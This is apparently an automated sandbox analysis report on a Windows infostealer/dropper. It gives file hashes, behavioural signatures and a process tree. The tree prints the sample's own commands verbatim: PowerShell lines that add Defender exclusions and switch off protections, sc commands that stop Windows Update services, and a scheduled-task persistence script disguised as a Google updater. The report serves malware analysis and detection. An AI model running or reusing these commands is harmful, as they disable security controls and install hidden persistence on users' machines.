Analysis
-
max time kernel
62s -
max time network
86s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
-
submitted
10/05/2023, 17:04
General
-
Target
e8324602f5fe73ef4f3d40d6dccea2e532e5f72a65d5dfd6a8916c628dfde5ed.exe
-
Size
341KB
-
MD5
6d236e9e66badd330cbf2982fe0bf9fb
-
SHA1
2f275a5f83d8807ec0321e1e9b667271db34903f
-
SHA256
e8324602f5fe73ef4f3d40d6dccea2e532e5f72a65d5dfd6a8916c628dfde5ed
-
SHA512
3168daf9754fd614d8c4968bf12d9527050f0bf3aec144b6743193e19d40d023cefad88d1d7d1adebbd2f5002b5a81261189862394ffef84df33571cb0950dd8
-
SSDEEP
6144:Lua5z4XeLqMVc2Uc1ax/QfTyuAlHKdlJP0K8ah6wu2Ai0qvF:LV5z4XPMPA/QryvodlJP0K8TOF
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 2 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\e8324602f5fe73ef4f3d40d6dccea2e532e5f72a65d5dfd6a8916c628dfde5ed.exe"C:\Users\Admin\AppData\Local\Temp\e8324602f5fe73ef4f3d40d6dccea2e532e5f72a65d5dfd6a8916c628dfde5ed.exe"2⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\54226232434964334196.exe"C:\ProgramData\54226232434964334196.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\ProgramData\74770793516299974199.exe"C:\ProgramData\74770793516299974199.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:Temp -ExclusionProcess *.exe -ExclusionExtension exe; Set-MpPreference -SubmitSamplesConsent NeverSend -PUAProtection Disabled4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#awmpxda#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.7MB
MD57bb8ca07a6fc374d3125f9937ad51053
SHA146370414b9938ff62fa4b7769ec7a96d7600dd92
SHA256af78e7767e5de75f481ba8e49497ad1c6e43c182cc662eb6b19629e8a363ab61
SHA512bc08de088d7b40439327d21a073800a37aac297641c1b129dbc5ab310850f1816f9220ae30e4466e3a1a80755de259893f3a074b9ea9914b010da34a5585c607
-
Filesize
5.7MB
MD57bb8ca07a6fc374d3125f9937ad51053
SHA146370414b9938ff62fa4b7769ec7a96d7600dd92
SHA256af78e7767e5de75f481ba8e49497ad1c6e43c182cc662eb6b19629e8a363ab61
SHA512bc08de088d7b40439327d21a073800a37aac297641c1b129dbc5ab310850f1816f9220ae30e4466e3a1a80755de259893f3a074b9ea9914b010da34a5585c607
-
Filesize
5.7MB
MD57bb8ca07a6fc374d3125f9937ad51053
SHA146370414b9938ff62fa4b7769ec7a96d7600dd92
SHA256af78e7767e5de75f481ba8e49497ad1c6e43c182cc662eb6b19629e8a363ab61
SHA512bc08de088d7b40439327d21a073800a37aac297641c1b129dbc5ab310850f1816f9220ae30e4466e3a1a80755de259893f3a074b9ea9914b010da34a5585c607
-
Filesize
9.4MB
MD5718d69c7e8baa9b2fea5078ac9adf6b7
SHA1b409fa7ffde8cc8dbaff27ae6a51d3f599e0ed75
SHA25621b3ec2a8f16bf7fb571925eda77f05c8c7a32fecd9c43cefba6223c47a80936
SHA512ece9d1dac93453594fee0df92f8ad9ffa14ba17d4589773eac2c6f5ae1759d4b22e1067813245d2d5ab613d2b7c45173e5aebd1e72c7a720082474b76d403515
-
Filesize
9.4MB
MD5718d69c7e8baa9b2fea5078ac9adf6b7
SHA1b409fa7ffde8cc8dbaff27ae6a51d3f599e0ed75
SHA25621b3ec2a8f16bf7fb571925eda77f05c8c7a32fecd9c43cefba6223c47a80936
SHA512ece9d1dac93453594fee0df92f8ad9ffa14ba17d4589773eac2c6f5ae1759d4b22e1067813245d2d5ab613d2b7c45173e5aebd1e72c7a720082474b76d403515
-
Filesize
9.4MB
MD5718d69c7e8baa9b2fea5078ac9adf6b7
SHA1b409fa7ffde8cc8dbaff27ae6a51d3f599e0ed75
SHA25621b3ec2a8f16bf7fb571925eda77f05c8c7a32fecd9c43cefba6223c47a80936
SHA512ece9d1dac93453594fee0df92f8ad9ffa14ba17d4589773eac2c6f5ae1759d4b22e1067813245d2d5ab613d2b7c45173e5aebd1e72c7a720082474b76d403515
-
Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
64B
MD57472f6d3eb88a1b1bde18e9827be7433
SHA135576b99064bc9a4c95b3d12deae255eb13ba706
SHA2563f06fd9e7bf04fecd2cc5ffa58bb46f202b6c3e89c2f2ec27b040fb45dfc3c40
SHA51221c7641eedc5fe2084e0d1922f6af63aeac656eeda9f6f06f3db615941a675d99da759b71dbd0b77b45027850e8ae9b8109a7648d2a2763a2d697cebcc2a7f78
-
Filesize
18KB
MD5c4dcf839e50a607e9c021f077f2200d9
SHA18c2a65eb17aa8bda5c5d2d978aa8af2947b58b41
SHA256e7e7c6fb92580438710f99071e1eed86218c685af8f6167a451407d53606d869
SHA5124c277c5de979e7c41df5bef7329bb6d7ace8d8e1594dda5583f0f5cd4d559cc988032d7a2fc90f69c4b9d0a736b1644ee98c2a92d8de08548f7dfc86ae507737
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
132KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
64KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
164KB
-
Filesize
760KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
972KB
-
Filesize
9.4MB
-
Filesize
9.4MB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
200KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
40KB
-
Filesize
120KB
-
Filesize
600KB
-
Filesize
304KB
-
Filesize
120KB
-
Filesize
216KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
6.5MB
-
Filesize
32KB
-
Filesize
104KB
-
Filesize
6.2MB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
56KB
-
Filesize
5.7MB
-
Filesize
5.7MB